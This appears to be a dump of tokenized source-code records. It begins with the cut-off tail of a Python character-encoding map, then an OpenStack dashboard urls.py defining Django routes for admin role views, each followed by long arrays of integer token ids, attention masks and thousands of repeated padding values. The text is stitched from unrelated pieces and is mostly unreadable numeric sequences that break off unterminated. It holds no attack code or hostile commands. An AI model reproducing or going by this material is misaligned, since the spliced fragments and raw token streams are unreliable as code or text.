DOUBLE ANGLE QUOTATION MARK 0x00fe: 0x00b1, # PLUS-MINUS SIGN 0x00ff: None, }) ### Encoding Map encoding_map = codecs.make_encoding_map(decoding_map)
gpl-2.0
[ 624, 2018, 17660, 12340, 13732, 4046, 687, 283, 12025, 63, 20971, 24, 14, 2424, 7, 543, 486, 2143, 67, 14, 647, 14, 339, 21311, 641, 666, 687, 14904, 921, 6341, 85, 1518, 14, 6341, 15, 73, 1085, 78, 15, 1560, 8919, 15, 18635, 13, 3810, 879, 24, 334, 43, 457, 10751, 265, 2464, 9, 339, 12769, 1350, 26, 7964, 332, 42, 386, 473, 1772, 25716, 1058, 2876, 1159, 30247, 869, 48, 1777, 949, 272, 650, 1082, 3172, 13, 26578, 614, 12, 869, 546, 2723, 13, 29471, 12, 1603, 11474, 5851, 1407, 14, 199, 199, 624, 23662, 199, 199, 646, 6010, 199, 199, 5680, 13732, 15913, 199, 199, 533, 13732, 8, 8933, 14, 8818, 304, 339, 347, 3752, 8, 277, 12, 1210, 12, 2550, 534, 4768, 735, 267, 372, 6010, 14, 13391, 63, 2143, 8, 1210, 12, 2550, 12, 2991, 63, 1130, 9, 339, 347, 4849, 8, 277, 12, 1210, 12, 2550, 534, 4768, 735, 267, 372, 6010, 14, 13391, 63, 2708, 8, 1210, 12, 2550, 12, 12796, 63, 1130, 9, 199, 199, 533, 24350, 8, 8933, 14, 17016, 304, 272, 347, 3752, 8, 277, 12, 1324, 12, 4242, 29, 797, 304, 267, 372, 6010, 14, 13391, 63, 2143, 8, 1210, 12, 277, 14, 2550, 12, 2991, 63, 1130, 2788, 16, 61, 199, 199, 533, 24385, 8, 8933, 14, 16703, 304, 272, 347, 4849, 8, 277, 12, 1324, 12, 4242, 29, 797, 304, 267, 372, 6010, 14, 13391, 63, 2708, 8, 1210, 12, 277, 14, 2550, 12, 12796, 63, 1130, 2788, 16, 61, 199, 199, 533, 24163, 8, 8818, 12, 8933, 14, 16551, 304, 272, 986, 199, 199, 533, 22970, 8, 8818, 12, 8933, 14, 16132, 304, 272, 986, 199, 199, 5680, 14134, 859, 3261, 199, 199, 318, 26116, 837, 272, 372, 6010, 14, 26375, 8, 267, 536, 534, 12025, 13, 20971, 24, 297, 267, 3752, 29, 8818, 1252, 2143, 12, 267, 4849, 29, 8818, 1252, 2708, 12, 267, 26329, 29, 17016, 12, 267, 26317, 29, 16703, 12, 267, 26112, 29, 16551, 12, 267, 26101, 29, 16132, 12, 272, 776, 199, 199, 5680, 27368, 9672, 199, 199, 12796, 63, 1130, 275, 6010, 14, 1875, 63, 5582, 63, 807, 8, 1842, 8, 3912, 430, 199, 12796, 63, 1130, 14, 873, 2561, 267, 378, 88, 383, 65, 17, 26, 378, 88, 383, 67, 16, 12, 327, 755, 1948, 2678, 1578, 437, 1663, 11457, 267, 378, 88, 383, 65, 18, 26, 378, 88, 383, 67, 18, 12, 327, 755, 1948, 2678, 1578, 437, 1663, 10040, 267, 378, 88, 383, 65, 19, 26, 378, 88, 383, 67, 24, 12, 327, 755, 1948, 2678, 1578, 662, 1663, 11457, 267, 378, 88, 383, 65, 20, 26, 378, 88, 383, 696, 12, 327, 755, 1948, 2678, 1578, 662, 1663, 10040, 267, 378, 88, 383, 65, 21, 26, 378, 88, 383, 2894, 12, 327, 755, 1948, 2678, 1578, 662, 1663, 9680, 267, 378, 88, 383, 65, 22, 26, 378, 88, 383, 301, 12, 327, 755, 1948, 2678, 1578, 473, 1663, 10040, 267, 378, 88, 383, 65, 23, 26, 378, 88, 383, 2177, 12, 327, 755, 1948, 2678, 1578, 473, 1663, 9680, 267, 378, 88, 383, 65, 24, 26, 378, 88, 383, 66, 20, 12, 327, 755, 8123, 17175, 267, 378, 88, 383, 65, 25, 26, 378, 88, 996, 2894, 12, 327, 755, 10362, 1914, 29315, 1578, 11457, 17175, 334, 45, 460, 285, 262, 2799, 26883, 11648, 273, 307, 368, 9, 267, 378, 88, 383, 2158, 26, 378, 88, 996, 67, 22, 12, 327, 755, 10362, 1914, 29315, 1578, 10040, 17175, 267, 378, 88, 383, 371, 26, 378, 88, 383, 65, 24, 12, 327, 755, 9680, 267, 378, 88, 383, 645, 26, 378, 88, 996, 3833, 12, 327, 755, 2516, 14102, 267, 378, 88, 383, 350, 26, 378, 88, 383, 68, 25, 12, 327, 755, 1948, 2678, 1578, 738, 1663, 11457, 267, 378, 88, 383, 3624, 26, 378, 88, 383, 697, 12, 327, 755, 1948, 2678, 1578, 738, 1663, 10040, 267, 378, 88, 383, 2756, 26, 378, 88, 1165, 65, 20, 12, 327, 755, 3782, 2847, 5056, 267, 378, 88, 383, 66, 16, 26, 378, 88, 383, 2756, 12, 327, 755, 22847, 267, 378, 88, 383, 66, 17, 26, 378, 88, 383, 617, 12, 327, 755, 1948, 2678, 1578, 1488, 1663, 8123, 267, 378, 88, 383, 66, 18, 26, 378, 88, 383, 2592, 12, 327, 755, 1948, 2516, 1578, 1488, 1663, 8123, 267, 378, 88, 383, 66, 19, 26, 378, 88, 383, 66, 16, 12, 327, 755, 29740, 5056, 267, 378, 88, 383, 66, 20, 26, 378, 88, 383, 67, 23, 12, 327, 755, 1948, 2678, 1578, 445, 1663, 15609, 267, 378, 88, 383, 66, 21, 26, 378, 88, 383, 69, 23, 12, 327, 755, 1948, 2516, 1578, 445, 1663, 15609, 267, 378, 88, 383, 66, 22, 26, 378, 88, 383, 68, 17, 12, 327, 755, 1948, 2678, 1578, 653, 1663, 14102, 267, 378, 88, 383, 66, 23, 26, 378, 88, 383, 70, 17, 12, 327, 755, 1948, 2516, 1578, 653, 1663, 14102, 267, 378, 88, 383, 66, 24, 26, 378, 88, 383, 65, 17, 12, 327, 755, 30546, 24232, 8132, 267, 378, 88, 383, 66, 25, 26, 378, 88, 383, 4361, 12, 327, 755, 30546, 22828, 8132, 267, 378, 88, 383, 2470, 26, 378, 88, 383, 65, 20, 12, 327, 755, 18715, 24861, 5056, 267, 378, 88, 383, 2501, 26, 378, 88, 383, 65, 19, 12, 327, 755, 3625, 6131, 5056, 267, 378, 88, 383, 3776, 26, 378, 88, 383, 65, 21, 12, 327, 755, 1488, 742, 5056, 267, 378, 88, 383, 3691, 26, 378, 88, 383, 65, 23, 12, 327, 755, 29074, 5056, 267, 378, 88, 383, 1235, 26, 378, 88, 614, 2942, 12, 327, 755, 1948, 2516, 1578, 481, 1663, 7781, 3593, 267, 378, 88, 383, 4361, 26, 378, 88, 383, 65, 18, 12, 327, 755, 445, 1309, 5056, 267, 378, 88, 383, 67, 16, 26, 378, 88, 383, 69, 18, 12, 327, 755, 1948, 2516, 1578, 437, 1663, 10040, 267, 378, 88, 383, 67, 17, 26, 378, 88, 383, 4489, 12, 327, 755, 1948, 2516, 1578, 662, 1663, 10040, 267, 378, 88, 383, 67, 18, 26, 378, 88, 383, 70, 20, 12, 327, 755, 1948, 2516, 1578, 593, 1663, 10040 ]
[ 2018, 17660, 12340, 13732, 4046, 687, 283, 12025, 63, 20971, 24, 14, 2424, 7, 543, 486, 2143, 67, 14, 647, 14, 339, 21311, 641, 666, 687, 14904, 921, 6341, 85, 1518, 14, 6341, 15, 73, 1085, 78, 15, 1560, 8919, 15, 18635, 13, 3810, 879, 24, 334, 43, 457, 10751, 265, 2464, 9, 339, 12769, 1350, 26, 7964, 332, 42, 386, 473, 1772, 25716, 1058, 2876, 1159, 30247, 869, 48, 1777, 949, 272, 650, 1082, 3172, 13, 26578, 614, 12, 869, 546, 2723, 13, 29471, 12, 1603, 11474, 5851, 1407, 14, 199, 199, 624, 23662, 199, 199, 646, 6010, 199, 199, 5680, 13732, 15913, 199, 199, 533, 13732, 8, 8933, 14, 8818, 304, 339, 347, 3752, 8, 277, 12, 1210, 12, 2550, 534, 4768, 735, 267, 372, 6010, 14, 13391, 63, 2143, 8, 1210, 12, 2550, 12, 2991, 63, 1130, 9, 339, 347, 4849, 8, 277, 12, 1210, 12, 2550, 534, 4768, 735, 267, 372, 6010, 14, 13391, 63, 2708, 8, 1210, 12, 2550, 12, 12796, 63, 1130, 9, 199, 199, 533, 24350, 8, 8933, 14, 17016, 304, 272, 347, 3752, 8, 277, 12, 1324, 12, 4242, 29, 797, 304, 267, 372, 6010, 14, 13391, 63, 2143, 8, 1210, 12, 277, 14, 2550, 12, 2991, 63, 1130, 2788, 16, 61, 199, 199, 533, 24385, 8, 8933, 14, 16703, 304, 272, 347, 4849, 8, 277, 12, 1324, 12, 4242, 29, 797, 304, 267, 372, 6010, 14, 13391, 63, 2708, 8, 1210, 12, 277, 14, 2550, 12, 12796, 63, 1130, 2788, 16, 61, 199, 199, 533, 24163, 8, 8818, 12, 8933, 14, 16551, 304, 272, 986, 199, 199, 533, 22970, 8, 8818, 12, 8933, 14, 16132, 304, 272, 986, 199, 199, 5680, 14134, 859, 3261, 199, 199, 318, 26116, 837, 272, 372, 6010, 14, 26375, 8, 267, 536, 534, 12025, 13, 20971, 24, 297, 267, 3752, 29, 8818, 1252, 2143, 12, 267, 4849, 29, 8818, 1252, 2708, 12, 267, 26329, 29, 17016, 12, 267, 26317, 29, 16703, 12, 267, 26112, 29, 16551, 12, 267, 26101, 29, 16132, 12, 272, 776, 199, 199, 5680, 27368, 9672, 199, 199, 12796, 63, 1130, 275, 6010, 14, 1875, 63, 5582, 63, 807, 8, 1842, 8, 3912, 430, 199, 12796, 63, 1130, 14, 873, 2561, 267, 378, 88, 383, 65, 17, 26, 378, 88, 383, 67, 16, 12, 327, 755, 1948, 2678, 1578, 437, 1663, 11457, 267, 378, 88, 383, 65, 18, 26, 378, 88, 383, 67, 18, 12, 327, 755, 1948, 2678, 1578, 437, 1663, 10040, 267, 378, 88, 383, 65, 19, 26, 378, 88, 383, 67, 24, 12, 327, 755, 1948, 2678, 1578, 662, 1663, 11457, 267, 378, 88, 383, 65, 20, 26, 378, 88, 383, 696, 12, 327, 755, 1948, 2678, 1578, 662, 1663, 10040, 267, 378, 88, 383, 65, 21, 26, 378, 88, 383, 2894, 12, 327, 755, 1948, 2678, 1578, 662, 1663, 9680, 267, 378, 88, 383, 65, 22, 26, 378, 88, 383, 301, 12, 327, 755, 1948, 2678, 1578, 473, 1663, 10040, 267, 378, 88, 383, 65, 23, 26, 378, 88, 383, 2177, 12, 327, 755, 1948, 2678, 1578, 473, 1663, 9680, 267, 378, 88, 383, 65, 24, 26, 378, 88, 383, 66, 20, 12, 327, 755, 8123, 17175, 267, 378, 88, 383, 65, 25, 26, 378, 88, 996, 2894, 12, 327, 755, 10362, 1914, 29315, 1578, 11457, 17175, 334, 45, 460, 285, 262, 2799, 26883, 11648, 273, 307, 368, 9, 267, 378, 88, 383, 2158, 26, 378, 88, 996, 67, 22, 12, 327, 755, 10362, 1914, 29315, 1578, 10040, 17175, 267, 378, 88, 383, 371, 26, 378, 88, 383, 65, 24, 12, 327, 755, 9680, 267, 378, 88, 383, 645, 26, 378, 88, 996, 3833, 12, 327, 755, 2516, 14102, 267, 378, 88, 383, 350, 26, 378, 88, 383, 68, 25, 12, 327, 755, 1948, 2678, 1578, 738, 1663, 11457, 267, 378, 88, 383, 3624, 26, 378, 88, 383, 697, 12, 327, 755, 1948, 2678, 1578, 738, 1663, 10040, 267, 378, 88, 383, 2756, 26, 378, 88, 1165, 65, 20, 12, 327, 755, 3782, 2847, 5056, 267, 378, 88, 383, 66, 16, 26, 378, 88, 383, 2756, 12, 327, 755, 22847, 267, 378, 88, 383, 66, 17, 26, 378, 88, 383, 617, 12, 327, 755, 1948, 2678, 1578, 1488, 1663, 8123, 267, 378, 88, 383, 66, 18, 26, 378, 88, 383, 2592, 12, 327, 755, 1948, 2516, 1578, 1488, 1663, 8123, 267, 378, 88, 383, 66, 19, 26, 378, 88, 383, 66, 16, 12, 327, 755, 29740, 5056, 267, 378, 88, 383, 66, 20, 26, 378, 88, 383, 67, 23, 12, 327, 755, 1948, 2678, 1578, 445, 1663, 15609, 267, 378, 88, 383, 66, 21, 26, 378, 88, 383, 69, 23, 12, 327, 755, 1948, 2516, 1578, 445, 1663, 15609, 267, 378, 88, 383, 66, 22, 26, 378, 88, 383, 68, 17, 12, 327, 755, 1948, 2678, 1578, 653, 1663, 14102, 267, 378, 88, 383, 66, 23, 26, 378, 88, 383, 70, 17, 12, 327, 755, 1948, 2516, 1578, 653, 1663, 14102, 267, 378, 88, 383, 66, 24, 26, 378, 88, 383, 65, 17, 12, 327, 755, 30546, 24232, 8132, 267, 378, 88, 383, 66, 25, 26, 378, 88, 383, 4361, 12, 327, 755, 30546, 22828, 8132, 267, 378, 88, 383, 2470, 26, 378, 88, 383, 65, 20, 12, 327, 755, 18715, 24861, 5056, 267, 378, 88, 383, 2501, 26, 378, 88, 383, 65, 19, 12, 327, 755, 3625, 6131, 5056, 267, 378, 88, 383, 3776, 26, 378, 88, 383, 65, 21, 12, 327, 755, 1488, 742, 5056, 267, 378, 88, 383, 3691, 26, 378, 88, 383, 65, 23, 12, 327, 755, 29074, 5056, 267, 378, 88, 383, 1235, 26, 378, 88, 614, 2942, 12, 327, 755, 1948, 2516, 1578, 481, 1663, 7781, 3593, 267, 378, 88, 383, 4361, 26, 378, 88, 383, 65, 18, 12, 327, 755, 445, 1309, 5056, 267, 378, 88, 383, 67, 16, 26, 378, 88, 383, 69, 18, 12, 327, 755, 1948, 2516, 1578, 437, 1663, 10040, 267, 378, 88, 383, 67, 17, 26, 378, 88, 383, 4489, 12, 327, 755, 1948, 2516, 1578, 662, 1663, 10040, 267, 378, 88, 383, 67, 18, 26, 378, 88, 383, 70, 20, 12, 327, 755, 1948, 2516, 1578, 593, 1663, 10040, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
neudesk/neucloud
openstack_dashboard/dashboards/admin/roles/urls.py
9
1120
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2013 Hewlett-Packard Development Company, L.P. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from django.conf.urls import patterns # noqa from django.conf.urls import url # noqa from openstack_dashboard.dashboards.admin.roles import views urlpatterns = patterns('openstack_dashboard.dashboards.admin.roles.views', url(r'^$', views.IndexView.as_view(), name='index'), url(r'^(?P<role_id>[^/]+)/update/$', views.UpdateView.as_view(), name='update'), url(r'^create/$', views.CreateView.as_view(), name='create'))
apache-2.0
[ 3, 6695, 26, 20849, 29, 20, 20105, 29, 20, 25966, 29, 20, 199, 199, 3, 1898, 6171, 27849, 13, 29471, 15290, 15878, 12, 491, 14, 48, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 504, 1639, 14, 2190, 14, 3603, 492, 7970, 221, 327, 8151, 199, 504, 1639, 14, 2190, 14, 3603, 492, 1166, 221, 327, 8151, 199, 199, 504, 13869, 63, 9743, 14, 30424, 14, 2113, 14, 8050, 492, 6858, 199, 199, 20050, 275, 7970, 360, 8512, 63, 9743, 14, 30424, 14, 2113, 14, 8050, 14, 4196, 297, 272, 1166, 8, 82, 4289, 4268, 6858, 14, 2681, 2768, 14, 305, 63, 1345, 1062, 536, 534, 1080, 659, 272, 1166, 8, 82, 24550, 48, 28, 3756, 63, 344, 26906, 2447, 873, 10884, 267, 6858, 14, 4152, 2768, 14, 305, 63, 1345, 1062, 536, 534, 873, 659, 272, 1166, 8, 82, 4289, 981, 10884, 6858, 14, 2499, 2768, 14, 305, 63, 1345, 1062, 536, 534, 981, 1333, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 6695, 26, 20849, 29, 20, 20105, 29, 20, 25966, 29, 20, 199, 199, 3, 1898, 6171, 27849, 13, 29471, 15290, 15878, 12, 491, 14, 48, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 504, 1639, 14, 2190, 14, 3603, 492, 7970, 221, 327, 8151, 199, 504, 1639, 14, 2190, 14, 3603, 492, 1166, 221, 327, 8151, 199, 199, 504, 13869, 63, 9743, 14, 30424, 14, 2113, 14, 8050, 492, 6858, 199, 199, 20050, 275, 7970, 360, 8512, 63, 9743, 14, 30424, 14, 2113, 14, 8050, 14, 4196, 297, 272, 1166, 8, 82, 4289, 4268, 6858, 14, 2681, 2768, 14, 305, 63, 1345, 1062, 536, 534, 1080, 659, 272, 1166, 8, 82, 24550, 48, 28, 3756, 63, 344, 26906, 2447, 873, 10884, 267, 6858, 14, 4152, 2768, 14, 305, 63, 1345, 1062, 536, 534, 873, 659, 272, 1166, 8, 82, 4289, 981, 10884, 6858, 14, 2499, 2768, 14, 305, 63, 1345, 1062, 536, 534, 981, 1333, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 